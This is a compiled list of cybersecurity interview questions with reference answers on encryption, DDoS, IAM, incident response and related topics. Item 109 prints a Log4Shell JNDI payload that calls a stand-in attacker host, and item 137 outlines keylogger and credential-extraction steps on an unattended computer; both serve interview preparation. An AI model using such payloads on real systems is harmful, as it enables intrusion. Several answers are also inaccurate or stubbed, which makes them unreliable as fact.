Last year, our SOC detected suspicious PowerShell activity on several workstations that matched indicators of a potential ransomware attack. I immediately initiated our incident response plan, first containing the threat by isolating affected machines from the network. I coordinated with our network team to block command-and-control domains identified in our threat intelligence platform. While preserving evidence for forensics, I worked with system administrators to rebuild the compromised systems from clean backups. Throughout the process, I maintained communication with our CISO and prepared status updates for executive leadership. The entire containment and recovery took 18 hours, and our post-incident review revealed the initial vector was a phishing email, leading us to implement additional email security controls.

94

Differentiate between Symmetric and Asymmetric Encryption.

Reference answer

| Symmetric Encryption | Asymmetric Encryption | |---|---| | Both encryption and decryption can be done using just one key. | It takes two keys to encrypt and decrypt data respectively. | | In this technique, the encryption system is very fast. | In this technique, the encryption system is slow. | | When a huge volume of data must be transferred, it is used. | When a small volume of data must be transferred, it is used. | | When compared to asymmetric key encryption, symmetric key encryption uses fewer resources. | When compared to symmetric key encryption, asymmetric key encryption uses more resources. | | The ciphertext is the same size as or smaller than the plain text. | The ciphertext is the same size as or greater than the plain text. | | Eg :- AES, DES | Eg :- DSA and RSA |

95

What strategies do you use to secure data at rest and in transit in the cloud?

Reference answer

To secure data at rest, I use encryption methods such as AES-256, ensuring that sensitive information is protected even if accessed by unauthorized users. For data in transit, I implement secure protocols like TLS/SSL to safeguard data during transmission, preventing interception and tampering.

96

Describe a situation where you used AI for threat detection.

Reference answer

Candidates should provide a specific example, such as using AI algorithms to analyze network traffic patterns and identify anomalies indicative of a potential breach. They should explain the context (e.g., protecting a corporate network), the AI tools or models employed (e.g., supervised learning for classifying malicious activity), and the outcome (e.g., reduced false positives, faster incident response).

97

What is the role of a security analyst in an organization?

Reference answer

A security analyst is responsible for designing, implementing, and maintaining an organization's security infrastructure to protect its digital assets from threats and vulnerabilities.

98

What do you mean by Domain Name System (DNS) Attack?

Reference answer

DNS hijacking is a sort of cyberattack in which cyber thieves utilize weaknesses in the Domain Name System to redirect users to malicious websites and steal data from targeted machines. Because the DNS system is such an important part of the internet infrastructure, it poses a serious cybersecurity risk. These can be avoided by the following precautions:- - Examine the DNS zones in your system. - Make sure your DNS servers are up to current. - The BIND version is hidden. - Transfers between zones should be limited. - To avoid DNS poisoning attempts, disable DNS recursion. - Use DNS servers that are separated. - Make use of a DDOS mitigation service.

99

What is the principle of 'defense in depth' in security engineering?

Reference answer

Defense in depth is a key concept where multiple layers of security controls are implemented to protect systems. If one layer fails, others remain in place to thwart attacks. These layers typically include perimeter defenses like firewalls, internal network segmentation, host-based controls, application security, and data encryption.

100

How would you handle a DDoS attack on a company's network?

Reference answer

Handling a DDoS (Distributed Denial of Service) attack on a company's network can be quite challenging. From what I've seen, the key to managing a DDoS attack is to have a well-prepared response plan that involves the following steps: 1. Early detection: Implement monitoring tools that can help identify unusual traffic patterns and alert the security team when a potential DDoS attack is detected. 2. Incident response: Once an attack is identified, quickly activate the incident response team to assess the situation, determine the attack's impact, and coordinate the mitigation efforts. 3. Implement traffic filtering: Use tools like firewalls, intrusion prevention systems (IPS), and load balancers to filter out malicious traffic and allow legitimate traffic to pass through. 4. Engage your ISP: Contact your Internet Service Provider (ISP) to inform them about the attack and request assistance in mitigating it. They may be able to reroute or block malicious traffic upstream. 5. Use DDoS mitigation services: In some cases, it may be necessary to engage a third-party DDoS mitigation service to help absorb and deflect the attack. 6. Post-attack analysis: Once the attack has been mitigated, conduct a thorough analysis to identify the attack's source, improve the network's defenses, and update the incident response plan based on lessons learned.

101

What are Polymorphic viruses?

Reference answer

Polymorphic viruses are sophisticated file infectors that may build changed versions of themselves in order to avoid detection while maintaining the same fundamental behaviors after each infection. Polymorphic viruses encrypt their programming and employ various encryption keys each time to alter their physical file makeup throughout each infection. Mutation engines are used by polymorphic viruses to change their decryption routines every time they infect a machine. Because typical security solutions do not use a static, unchanging code, traditional security solutions may miss them. They are considerably more difficult to detect because they use complicated mutation engines that generate billions of decryption routines.

102

Hashing vs Encryption vs Encoding

Reference answer

Focus: Crypto fundamentals Core Idea: Wrong primitive equals broken security Strong Answers Cover: • Use cases, not math • Irreversibility vs confidentiality • Compliance expectations • Developer misuse patterns

103

What is a public key infrastructure flow and how would I diagram it?

Reference answer

Public Key Infrastructure (PKI) is a system for managing digital certificates and public-key encryption. The flow typically involves a Certificate Authority (CA) issuing a digital certificate to an entity after verifying its identity. The certificate contains the entity's public key and is signed by the CA. To diagram it, you would show: the entity generating a key pair, submitting a Certificate Signing Request (CSR) to the CA, the CA verifying identity and issuing the signed certificate, and then the entity using the certificate to establish secure communications with others who trust the CA.

104

How does HTTPS work?

Reference answer

HTTPS works by layering HTTP over TLS/SSL. The client connects to the server on port 443, and a TLS handshake occurs: the server presents its digital certificate, the client verifies it, and they negotiate a symmetric session key. All subsequent HTTP data is encrypted with that session key, ensuring confidentiality, integrity, and authentication.

105

What is a logic bomb?

Reference answer

A logic bomb is a type of malware that is designed to execute malicious code when a specific condition is met.

106

What do you mean by a DDoS attack? How can you prevent it?

Reference answer

It's a form of cyber threat or malicious effort in which fraudsters use Internet traffic to fulfill legitimate requests to the target or its surrounding infrastructure, causing the target's regular traffic to be disrupted. The requests originate from a variety of IP addresses, which might cause the system to become unworkable, overload its servers, cause them to slow down or go offline, or prevent an organization from performing its essential responsibilities. The methods listed below will assist you in stopping and preventing DDOS attacks: - Create a denial of the service response strategy. - Maintain the integrity of your network infrastructure. - Use fundamental network security measures. - Keep a solid network architecture. - Recognize the Warning Signs - Think about DDoS as a service.

107

What is the application of threat intelligence?

Reference answer

Threat intelligence is all about collection and analysis of data that pertains to new threats in place thereby helping in the anticipation, deterrence and response to future cyber-attacks.

108

Describe a time you managed a ransomware incident.

Reference answer

"At a previous organization, we experienced a ransomware attack that encrypted critical data. I led the incident response, first isolating affected systems to prevent further spread. I coordinated with our IT team to assess the damage and engaged external cybersecurity experts for recovery. After restoring operations, we conducted a thorough review and updated our response plan, which ultimately reduced our recovery time by 30% for future incidents."

109

Given a CVE, walk us through it and how the solution works.

Reference answer

For example, with CVE-2021-44228 (Log4Shell): The vulnerability is a remote code execution (RCE) flaw in Apache Log4j library due to JNDI lookup injection. The attacker sends a malicious string (e.g., ${jndi:ldap://attacker.com/a}) which Log4j evaluates, allowing the attacker to load arbitrary code. The solution is to upgrade Log4j to version 2.15.0 or later, disable JNDI lookups, and apply appropriate patches or workarounds like setting log4j2.formatMsgNoLookups=true.

110

What is a Botnet? And how does it work?

Reference answer

A Botnet is a network of devices connected to the internet that has been hijacked by a number of malicious bots. Sometimes these bots are referred to as zombies, making the botnet a zombie army. The person in charge of the botnet is called a bot herder and they can direct each malicious bot to perform an illegal action. Botnets are often used to send spam messages, steal data, or carry out a DDoS attack.

111

You're given an ip-based phone and asked me to decrypt the message in the phone.

Reference answer

To decrypt a message on an IP-based phone, I would first gain access to the phone's file system (via JTAG, or exploiting known vulnerabilities). Then, I would look for encrypted files or messages, identify the encryption algorithm used, and attempt to recover keys from memory or configuration files. If the encryption is weak or keys are stored insecurely, I could decrypt the messages. If not, I would use forensic analysis to find any plaintext traces.

112

Walk me through the OWASP Top 10 and which risks you've mitigated.

Reference answer

The OWASP Top 10 is a list of the most critical security risks to web applications. They include: 1) Broken Access Control, 2) Cryptographic Failures, 3) Injection (SQL, NoSQL, OS), 4) Insecure Design, 5) Security Misconfiguration, 6) Vulnerable and Outdated Components, 7) Identification and Authentication Failures, 8) Software and Data Integrity Failures, 9) Security Logging and Monitoring Failures, and 10) Server-Side Request Forgery (SSRF). In my experience, I have mitigated injection risks by using parameterized queries and input validation. I addressed broken access control by implementing role-based permissions and testing for privilege escalation. I also worked on cryptographic failures by enforcing TLS and using strong encryption for data at rest. For security misconfiguration, I automated configuration checks using tools like Terrascan and implemented secure defaults.

113

How do you stay updated on the latest cloud security threats and trends?

Reference answer

I stay updated on the latest cloud security threats and trends by following reputable security blogs and forums, attending industry conferences, and participating in professional security communities. This continuous learning approach ensures I am always aware of emerging threats and best practices.

114

What is a security operations centre (SOC) as a service?

Reference answer

A SOC as a service is a managed security service that provides 24/7 security monitoring and incident response to customers.

115

What are the common cyber threats today?

Reference answer

These days, there are several cyber threats which include; i) Phishing attack ii) Malware iii) Denial of Service attack iv) Insider threat v) Zero-day exploit vi) Man-in-the-middle attack vii) Social engineering attack

116

What is a Botnet?

Reference answer

A botnet is a string of connected computers or Internet of things devices coordinated together to perform a task. It can maintain a chatroom, or it can take control of your computer. Botnets can be used to steal data, send spams and execute a DDOS attack.

117

What do you mean by Network Sniffing?

Reference answer

Sniffing is a technique for evaluating data packets delivered across a network. This can be accomplished through the use of specialized software or hardware. Sniffing can be used for a variety of purposes, including: - Capture confidential information, such as a password. - Listen in on chat messaging - Over a network, keep an eye on a data package.

118

Give me an example of a time when you had to learn a new technical skill or software to complete a security project. How did you go about acquiring the new knowledge?

Reference answer

A few years ago, I was working on a project that required the implementation of a new intrusion detection system (IDS). The system our team chose was a new technology that I wasn't familiar with at the time. To complete the project successfully and ensure the security of our network, I had to learn and become proficient in configuring and managing this new IDS. As soon as I found out about the project, I started dedicating a couple of hours every day to researching the new technology and reading its documentation. I also sought out online tutorials, courses, and even connected with a few experts in this field through cybersecurity forums. By following their advice and guidance, I was able to quickly gain a solid understanding of the new IDS. As a result of my effort, I became the go-to person on the team for any questions related to the new intrusion detection system. I worked closely with other team members to ensure the proper configuration and deployment of the IDS. In the end, our project was successful, and the new system significantly improved our network security. This experience taught me the importance of being proactive and resourceful when faced with new challenges, and it reinforced my passion for continuous learning and growth in the cybersecurity field.

119

You have a pipeline for Docker images. How would you design everything to ensure the proper security checks?

Reference answer

I would design the pipeline with multiple stages: (1) Scan base images for known vulnerabilities using tools like Trivy or Clair. (2) Lint Dockerfiles for best practices (e.g., not running as root). (3) Run SAST on application code. (4) Build the image and scan it again for vulnerabilities introduced by the build. (5) Sign the image with a trusted key. (6) Store images in a private registry with access controls. (7) Deploy only signed and scanned images, and continuously monitor running containers.

120

What is the difference between authentication vs authorization name spaces?

Reference answer

Authentication verifies the identity of a user or system (e.g., proving who you are), while authorization determines what resources or actions that authenticated identity is allowed to access. Namespaces in this context refer to the distinct domains or scopes where these processes operate, such as user directories for authentication and access control lists for authorization.

121

What do you mean by ARP poisoning?

Reference answer

Address Resolution Protocol Poisoning is a sort of cyber-attack that uses a network device to convert IP addresses to physical addresses. On the network, the host sends an ARP broadcast, and the receiver machine responds with its physical address. It is the practice of sending bogus addresses to a switch so that it can associate them with the IP address of a legitimate machine on the network and hijack traffic.

122

How have you applied Amazon's Leadership Principles in your professional experiences?

Reference answer

Think about your most memorable experiences in your previous jobs and recall specific details. Consider how you applied the Leadership Principles in your experiences. Have examples that showcase your expertise and demonstrate how you've taken risks, succeeded, failed, and grown. Make sure your answers are well-structured. Use the STAR method to frame your responses.

123

What do you mean by perimeter-based and data-based protection?

Reference answer

Perimeter-based cybersecurity entails putting security measures in place to safeguard your company's network from hackers. It examines people attempting to break into your network and prevents any suspicious intrusion attempts. The term "data-based protection" refers to the use of security measures on the data itself. It is unaffected by network connectivity. As a result, you can keep track of and safeguard your data regardless of where it is stored, who accesses it, or which connection is used to access it.

124

Write a difference between HTTPS and SSL.

Reference answer

HTTPS | SSL | |---|---| | It is called Hypertext Transfer Protocol Secure. | It is called Secured Socket Layer | | This is a more secure version of the HTTP protocol with more encryption capabilities. | It is the one and only cryptographic protocol in computer networks. | | HTTPS is created by combining the HTTP protocol and SSL. | SSL can be used for encryption. | | HTTPS is primarily used by websites for logging into banking details and personal accounts. | SSL cannot be used alone for a particular website. Used for encryption in conjunction with the HTTP protocol. | | HTTPS is the most secure and latest version of the HTTP protocol available today. | SSL is being phased out in favour of TLS (Transport Layer Security). |

125

When would you use symmetric vs. asymmetric encryption?

Reference answer

Read our guide to encryption here.

126

What are the best practices for effective IAM?

Reference answer

Best practices for effective IAM include: implement least privilege access, use strong adaptive authentication with risk-based MFA, regularly review and revoke access, integrate IAM into DevOps using secrets management tools, and adopt Identity as a Service (IDaaS) for scalability and modern authentication.

127

What security testing tools have you used in your previous projects, and how did you apply them?

Reference answer

Look for answers that demonstrate hands-on experience with relevant tools. Candidates should be able to explain how they've used these tools to identify and address security vulnerabilities in real-world scenarios.

128

What is threat intelligence?

Reference answer

Threat intelligence is the process of gathering, analyzing, and sharing information about potential security threats to improve incident response and threat prevention.

129

How would you secure IAM across multiple cloud accounts?

Reference answer

To secure IAM across multiple cloud accounts, I would implement a centralized identity provider (IdP) with federation (e.g., using SAML or OIDC) to manage user identities in a single place. I would use role-based access control (RBAC) with least privilege principles, creating specific roles for different job functions. Cross-account access would be managed using IAM roles with trust policies, not long-term credentials. I would enable multi-factor authentication (MFA) for all users, implement automated policy enforcement using Infrastructure as Code (IaC), and use centralized logging and monitoring (e.g., AWS CloudTrail, Azure Monitor) to detect anomalous access patterns. Regular access reviews and automated remediation for policy violations are also critical.

130

What do you mean by a Null Session?

Reference answer

A null session occurs when a user is not authorized using either a username or a password. It can provide a security concern for apps because it implies that the person making the request is unknown.

131

What are the OWASP Top 10 vulnerabilities?

Reference answer

The OWASP Top 10 is a list of the most critical web application security risks, including injection, broken authentication, sensitive data exposure, XML external entities (XXE), broken access control, security misconfiguration, cross-site scripting (XSS), insecure deserialization, using components with known vulnerabilities, and insufficient logging and monitoring.

132

How does a router differ from a switch?

Reference answer

A router operates at the Network layer (Layer 3) of the OSI model and forwards packets between different networks based on IP addresses, often performing routing decisions. A switch operates at the Data Link layer (Layer 2) and forwards frames within the same network based on MAC addresses, connecting devices like computers and servers within a LAN.

133

What is a buffer overflow?

Reference answer

A buffer overflow is a type of vulnerability that occurs when more data is written to a buffer than it can hold, allowing an attacker to execute malicious code.

134

Differentiate between threat, vulnerability and risk.

Reference answer

Threat: A threat is any form of hazard that has the potential to destroy or steal data, disrupt operations, or cause harm in general. Malware, phishing, data breaches, and even unethical employees are all examples of threats. Threat actors, who might be individuals or groups with a variety of backgrounds and motives, express threats. Understanding threats is essential for developing effective mitigations and making informed cybersecurity decisions. Threat intelligence is information regarding threats and threat actors. Vulnerability: A vulnerability is a flaw in hardware, software, personnel, or procedures that threat actors can use to achieve their objectives. Physical vulnerabilities, such as publicly exposed networking equipment, software vulnerabilities, such as a buffer overflow vulnerability in a browser, and even human vulnerabilities, such as an employee vulnerable to phishing assaults, are all examples of vulnerabilities. Vulnerability management is the process of identifying, reporting and repairing vulnerabilities. A zero-day vulnerability is a vulnerability for which a remedy is not yet available. Risk: The probability of a threat and the consequence of a vulnerability are combined to form risk. To put it another way, the risk is the likelihood of a threat agent successfully exploiting a vulnerability, which may be calculated using the formula: Risk = Likelihood of a threat * Vulnerability Impact Risk management is the process of identifying all potential hazards, analyzing their impact, and determining the best course of action. It's a never-ending procedure that examines new threats and vulnerabilities on a regular basis. Risks can be avoided, minimized, accepted, or passed to a third party depending on the response chosen.

135

What is Forward Secrecy?

Reference answer

Preserves the secrecy of past messages: a different encryption key is used for each message. After asymmetric public key exchange, a new single-use symmetric key is used for each message.

136

How do you ensure compliance with data protection regulations like GDPR?

Reference answer

"In my previous role, I led the initiative to align our security practices with GDPR requirements. I developed a data inventory to map where personal data was stored, implemented encryption and access controls, and established a clear data retention policy. Additionally, I organized regular training sessions for staff to raise awareness about data protection. Through annual audits, we maintained a compliance status with zero significant issues reported during external reviews."

137

If left alone in office with access to a computer, how would you exploit it?

Reference answer

This is a penetration testing scenario. I would first check if I have physical access and whether the computer is locked. If unlocked, I could access sensitive files, install keyloggers, or extract credentials. If locked, I might try booting from a USB to reset passwords or extract hashes, use a Sticky Keys vulnerability, or leverage network-based attacks if the system is connected to a network. The goal is to gain privileged access.

138

How do you stay current with the latest information security trends?

Reference answer

"I regularly follow cybersecurity blogs like Krebs on Security and attend conferences such as Black Hat. I also participate in a local security Meetup group to discuss emerging threats with peers. Recently, I completed a course on cloud security, which I applied to our migration project, ensuring we addressed potential vulnerabilities early on. Sharing these insights with my team fosters a culture of continuous learning."

139

What is CIA?

Reference answer

CIA is a model for developing cybersecurity policies. It stands for: Confidentiality: Making sure private information stays private. Integrity: Ensuring your data remains trustworthy, meaning it isn't tampered with. Availability: Allowing people to access what they need when they need it. This framework allows the team to address and protect each area while ensuring they work in unison.

140

What is IP blocklisting?

Reference answer

IP blacklisting is a method used to block unauthorized or malicious IP addresses from accessing your network. A blacklist is a list of ranges or individual IP addresses to block.

141

Differentiate between Information protection and information assurance.

Reference answer

Information protection protects data from unauthorized access by utilizing encryption, security software, and other methods. Information Assurance ensures the data's integrity by maintaining its availability, authentication, and secrecy, among other things.

142

What Do You Mean by Port Scanning?

Reference answer

Ports are vital assets that are vulnerable to security breaches. Attackers use port scanning to locate open ports that are sending or receiving data on a network. This technique is also used to assess a host's vulnerabilities by sending packets to various ports and analyzing their responses. Nevertheless, port scanning is not an inherently malicious activity—cybersecurity specialists use port scanning to evaluate network security.

143

Can you explain the concept of input validation and why it's important in secure coding?

Reference answer

Look for answers that demonstrate understanding of input validation as a security measure. Candidates should explain how it helps prevent attacks like SQL injection and cross-site scripting.

144

What is a cloud-based security awareness training program?

Reference answer

A cloud-based security awareness training program is a solution that provides regular security awareness training to employees to improve their security knowledge and behaviours.

145

Tell me about a time when you had to respond to a security incident under significant pressure.

Reference answer

During Black Friday weekend at my e-commerce company, our monitoring systems detected unusual database query patterns that suggested a potential SQL injection attack in progress. I was the on-call security engineer, and the attack was happening during our peak sales period when taking systems offline would cost thousands per minute. I immediately coordinated with our database team to analyze the queries and confirmed malicious activity. Rather than taking the entire system offline, I worked with the network team to implement targeted IP blocking while our developers deployed a hot-fix to patch the vulnerability. I maintained constant communication with our incident commander and provided hourly updates to executive leadership. We contained the attack within 3 hours without any data loss and only 15 minutes of reduced service availability. This experience taught me the importance of having well-practiced incident response procedures and pre-approved emergency change processes.

146

Can you explain the shared responsibility model in cloud security?

Reference answer

The shared responsibility model delineates the security obligations of the cloud provider and the customer. While the provider secures the infrastructure, the customer is responsible for securing their data and applications. For instance, in an IaaS model, the provider manages physical security, while the customer handles OS and application security.

147

What are the types of Cyber Security?

Reference answer

The assets of every company are made up of a variety of various systems. These systems have a strong cybersecurity posture, which necessitates coordinated actions across the board. As a result, cybersecurity can be divided into the following sub-domains: Network security: It is the process of securing a computer network against unauthorized access, intruders, attacks, disruption, and misuse using hardware and software. This security aids in the protection of an organization's assets from both external and internal threats. Example: Using a Firewall. Application security: It entails safeguarding software and devices against malicious attacks. This can be accomplished by regularly updating the apps to ensure that they are secure against threats. Data security: It entails putting in place a strong data storage system that ensures data integrity and privacy while in storage and transport. Identity management: It refers to the process of identifying each individual's level of access inside an organization. Example: Restricting access to data as per the job role of an individual in the company. Operational security: It entails analyzing and making decisions about how to handle and secure data assets. Example: Storing data in an encrypted form in the database. Mobile security: It refers to the protection of organizational and personal data held on mobile devices such as cell phones, PCs, tablets, and other similar devices against a variety of hostile attacks. Unauthorized access, device loss or theft, malware, and other threats are examples of these dangers. Cloud security: It refers to the safeguarding of data held in a digital environment or in cloud infrastructures for an organization. It employs a variety of cloud service providers, including AWS, Azure, Google, and others, to assure protection against a variety of threats.

148

How to avoid ARP poisoning?

Reference answer

Following are the five ways of avoiding ARP Poisoning attacks: - Static ARP Tables: If you can verify the correct mapping of MAC addresses to IP addresses, half the problem is solved. This is doable but very costly to administer. ARP tables to record all associations and each network change are manually updated in these tables. Currently, it is not practical for an organization to manually update its ARP table on every host. - Switch Security: Most Ethernet switches have features that help mitigate ARP poisoning attacks. Also known as Dynamic ARP Inspection (DAI), these features help validate ARP messages and drop packets that indicate any kind of malicious activity. - Physical Security: A very simple way to mitigate ARP poisoning attacks is to control the physical space of your organization. ARP messages are only routed within the local network. Therefore, an attacker may have physical proximity to the victim's network. - Network Isolation: A well-segmented network is better than a regular network because ARP messages have a range no wider than the local subnet. That way, if an attack were to occur, only parts of the network would be affected and other parts would be safe. Attacks on one subnet do not affect devices on other subnets. - Encryption: Encryption does not help prevent ARP poisoning, but it does help reduce the damage that could be done if an attack were to occur. Credentials are stolen from the network, similar to the MiTM attack.

149

What is threat modeling and what are common frameworks used?

Reference answer

Threat modeling is systematically identifying potential threats, vulnerabilities, and attack vectors for systems under design or review. It helps prioritize security controls by focusing on the most relevant risks. Common frameworks include STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) and PASTA (Process for Attack Simulation and Threat Analysis).

150

Describe SSL handshake.

Reference answer

The SSL/TLS handshake is a process that establishes a secure connection between a client and a server. It begins with the client sending a 'ClientHello' message with supported cipher suites and a random number. The server responds with a 'ServerHello' selecting a cipher suite, its digital certificate, and a random number. The client verifies the certificate, generates a pre-master secret, encrypts it with the server's public key, and sends it. Both parties then generate a session key from the pre-master secret and random numbers, and confirm the handshake with 'Finished' messages.

151

How do you prioritize security tasks when resources and time are limited?

Reference answer

When resources and time are limited, prioritizing security tasks involves assessing the potential impact of each vulnerability. Candidates might use a risk assessment matrix, considering factors such as the likelihood of exploitation and the severity of the potential impact. They should also discuss the importance of focusing on critical vulnerabilities that pose the highest risk and ensuring compliance with industry standards and regulations. The ideal response will highlight the candidate's ability to balance short-term fixes with long-term solutions and their skill in making informed decisions under pressure. Attention to skills required for software security engineers could further demonstrate their preparedness for the role.

152

What are the five trust criteria?

Reference answer

The five trust criteria in SOC 2 are: (1) Security – protection against unauthorized access, (2) Availability – system availability for operation and use, (3) Processing Integrity – accurate and timely processing, (4) Confidentiality – protection of confidential information, and (5) Privacy – proper collection, use, and disposal of personal information.

153

Can you provide an example of how you have remained calm under pressure while dealing with a security incident or breach?

Reference answer

During a ransomware incident, I remained calm by following our incident response plan step-by-step. I focused on containing the breach first, then coordinating with the team to restore systems from backups. I maintained clear communication with management, providing regular updates without causing panic. This methodical approach helped resolve the incident efficiently and minimized downtime.

154

Can you describe a time you identified a potential security risk in a project?

Reference answer

In addressing this question, candidates should highlight a specific instance where they spotted a potential security risk, such as an insecure configuration or code vulnerability. The candidate should describe the steps they took to communicate the risk to the relevant stakeholders and how they collaborated with the team to implement a solution. This could involve patching the vulnerability, updating software, or changing configurations. Look for responses that not only focus on the technical solution but also emphasize communication, teamwork, and the ability to prioritize security in development processes. A strong candidate will link their actions to broader security practices, showing an understanding of how to hire software security engineers.

155

What are the common types of cyber attacks organizations face today?

Reference answer

Common attacks include phishing, ransomware, supply chain attacks, denial of service, insider threats, and advanced persistent threats (APTs). Each requires a different defense strategy, from user training to network segmentation and strong incident response.

156

How does a Virtual Private Network (VPN) work?

Reference answer

A Virtual Private Network (VPN) initiates a secured and encrypted link between a user's device and a remote server. When a user connects to a VPN, their data traffic is encrypted and sent through a tunnel to the VPN server. The VPN server serves as an intermediary between the user and the internet, concealing the user's IP address and location. This encryption and masking of data protects the user's privacy and security by preventing unauthorized access, interception, or monitoring of their online activities, especially on public networks. VPNs use protocols like OpenVPN, IPSec, or WireGuard to establish secure connections and ensure data privacy and integrity.

157

How do sessions work?

Reference answer

Sessions work by creating a temporary, server-side storage of user data, typically identified by a unique session ID. When a user logs in or starts interacting with a web application, the server creates a session and sends the session ID to the client, often via a cookie. The client includes this ID in subsequent requests, allowing the server to retrieve the stored session data and maintain state across requests.

158

Design a strategy for managing secrets and API keys across a large cloud deployment.

Reference answer

“I'd implement a centralized secrets management strategy using cloud-native services like AWS Secrets Manager or Azure Key Vault. The core principle would be eliminating long-lived, static credentials wherever possible. For application secrets, I'd use automatic rotation capabilities and integrate with application code through SDKs that handle retrieval and caching. For infrastructure access, I'd prioritize IAM roles and managed identities over API keys. When keys are necessary, I'd implement automatic rotation and use short-lived tokens where possible. I'd also establish clear governance around secret creation and access, with approval workflows for sensitive secrets and regular audits of secret usage. All secret access would be logged and monitored for unusual patterns, and I'd implement alerting for failed authentication attempts or access from unexpected locations.”

159

Tell me about a time when you had to learn a new technology quickly to address a security challenge.

Reference answer

When our company decided to adopt Kubernetes for container orchestration, I realized our existing security tools weren't designed for containerized environments. I had limited experience with container security, so I immediately started learning about Kubernetes security architecture and best practices. I took online courses, joined Kubernetes security communities, and set up a lab environment to experiment with different security configurations. Within three weeks, I had developed a security baseline for our Kubernetes deployment including pod security policies, network policies, and image scanning integration. I also identified several security misconfigurations in our initial setup and worked with the DevOps team to implement proper RBAC and secrets management. The learning curve was steep, but it enabled us to deploy containers securely from day one.

160

What is a zero-day vulnerability?

Reference answer

A zero-day vulnerability is a security weakness in a system or software that is unknown to the vendor or developers. It is called “zero-day” because developers have zero days to fix or patch the vulnerability once it is discovered or exploited by malicious actors.

161

What is the difference between symmetric and asymmetric encryption?

Reference answer

Symmetric encryption uses the same key for both encryption and decryption, while asymmetric encryption uses a public key for encryption and a private key for decryption.

162

What steps would you take if you discovered a security breach?

Reference answer

When a security breach occurs, follow these guidelines: i) Isolate infected systems. ii) Prevent further spread of the breach. iii) Notify relevant individuals and authorities. iv) Investigate the incident. v) Remove the cause of breach. vi) Rebuild and restore contaminated systems and information. vii) Employ measures to avoid future breaches.

163

Can you explain how intrusion detection systems (IDS) and intrusion prevention systems (IPS) work?

Reference answer

Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) are essential tools in the cybersecurity field that help protect networks and systems from unauthorized access and malicious activities. I like to think of them as a digital security guard for your network. An IDS is a passive system that monitors network traffic for any suspicious activities or patterns that might indicate an intrusion attempt. When it detects such activities, it generates alerts to notify the security administrator. In my experience, IDS solutions are crucial for identifying potential threats and providing valuable information for further investigation. On the other hand, an IPS is an active system that not only detects intrusion attempts, but also takes action to prevent them from causing any harm. Once it identifies a potential threat, it can block the malicious traffic, drop the connection, or even reconfigure the network to protect against the threat. I've found that IPS solutions are particularly useful for stopping attacks in real-time and mitigating the potential damage they could cause. A useful analogy I like to remember is that an IDS is like a security camera, passively monitoring and alerting on suspicious activities, while an IPS is like a security guard, actively intervening to prevent any harm.

164

What is a Trojan horse?

Reference answer

A Trojan horse is a type of malware that disguises itself as legitimate software to gain unauthorized access to a system.

165

What is the difference between VA (Vulnerability Assessment) and PT (Penetration Testing)?

Reference answer

- Penetration testing: This is performed to find vulnerabilities, malicious content, bugs and risks. Used to set up an organization's security system to protect its IT infrastructure. Penetration testing is also known as penetration testing. This is an official procedure that can be considered helpful, not a harmful attempt. This is part of an ethical hacking process that focuses solely on breaking into information systems. - Vulnerability assessment: It is the technique of finding and measuring (scanning) security vulnerabilities in a particular environment. This is a location-comprehensive evaluation (result analysis) of information security. It is used to identify potential vulnerabilities and provide appropriate mitigations to eliminate them or reduce them below the risk level.

166

What is the role of artificial intelligence in cybersecurity?

Reference answer

AI helps to identify and address cyber threats in a relatively simple way. Further, it is effective in analyzing significant volumes of data within a short period, hence identifying encryptions that human specialists cannot detect.

167

Explain Social Media Phishing.

Reference answer

Phishing is a cybercrime technique in which attackers disguise fraudulent communications as legitimate or trustworthy in order to steal sensitive data or install malware on a target's device. Social network phishing, sometimes also referred to as angler phishing, harnesses notifications or messaging features on social media to lure targets.

168

What is a zero-day exploit?

Reference answer

A zero-day exploit is a previously unknown vulnerability that is exploited by an attacker before a patch or fix is available.

169

What is cryptography?

Reference answer

In a cybersecurity context, cryptography is when cybersecurity pros use algorithms and other methods to keep sensitive user information (like passwords and social security numbers) safe from anyone who shouldn't have that information. There are different types of cryptography, like public keys and hash functions, and each is implemented differently.

170

What is a DDoS attack and how can it be mitigated?

Reference answer

A DDoS (Distributed Denial of Service) attack overwhelms a target with traffic from multiple sources. Mitigation includes using rate limiting, traffic filtering, and content delivery networks (CDNs).

171

What are the different layers of the OSI model?

Reference answer

An OSI model is a reference model for different systems to communicate over a network. The function of an OSI reference is to guide vendors and developers so the digital communication products and software programs can inter-operate. The seven layers of OSI model are Physical Layer, Data Link Layer, Network Layer, Transport Layer, Session Layer, Presentation Layer and Application Layer.

172

How would you filter xyz in Wireshark?

Reference answer

To filter for specific traffic in Wireshark, I would use display filters. For example, to filter for HTTP traffic, I would use 'http'. For IP address xyz, I would use 'ip.addr == xyz'. For a specific port, I would use 'tcp.port == 80'. Multiple conditions can be combined with logical operators like 'and', 'or', and 'not'.

173

Our API gateway is experiencing unusual traffic patterns. How would you investigate and harden it?

Reference answer

Investigation: First, I would analyze traffic logs from the API gateway to identify the source IPs, request patterns, endpoints targeted, and payload content. I would look for indicators of attack: high request rates from single or distributed IPs, requests to unusual endpoints, SQL injection or XSS patterns in payloads, and attempts to bypass authentication. I would also check system metrics (CPU, memory, network) for resource exhaustion. If using a CDN or WAF, I would review their logs and alerts. Harden: Based on findings, I would implement rate limiting and throttling per IP or user, update WAF rules to block malicious patterns, enable DDoS protection, strengthen authentication (e.g., require API keys with rate limits), and validate all input more strictly. I would also consider scaling the gateway horizontally and implementing circuit breakers for backend services. Finally, I would create an incident report and update playbooks.

174

Describe your experience with multi-cloud security strategies.

Reference answer

In my previous role, I managed security across AWS, Azure, and GCP by implementing a unified security policy and using tools like Terraform for consistent configuration management. This approach ensured seamless security practices and compliance across all platforms.

175

What is the principle of ethical hacking?

Reference answer

At a point when he or she is given permission to enter systems and locate and correct security weaknesses. The rule it conforms to is the 'Do no harm rule. They notify people of the results of their discoveries and assist them in repairing them without causing any damage to any property.'

176

What kind of security do you have on your home system?

Reference answer

Demonstrates candidates' technical skills and knowledge.

177

An employee reports that their device (laptop, tablet, etc.) has been stolen, and it contains sensitive data. What measures would you take to secure the data and ensure that the breach does not impact the confidentiality, integrity, or availability of the system?

Reference answer

I would immediately remotely wipe the device if possible, and revoke all access credentials associated with it. Then, I would change passwords and enforce multi-factor authentication for all related accounts. I would also assess what data was at risk and notify affected stakeholders. To prevent future incidents, I would implement device encryption and remote management policies.

178

What is a replay attack and how do you prevent it?

Reference answer

Focus: Protocol reasoning Core Idea: Freshness matters as much as secrecy Strong Answers Cover: • Nonces, timestamps, token expiry • Tradeoffs with distributed systems • Failure modes under clock skew • Operational risks

179

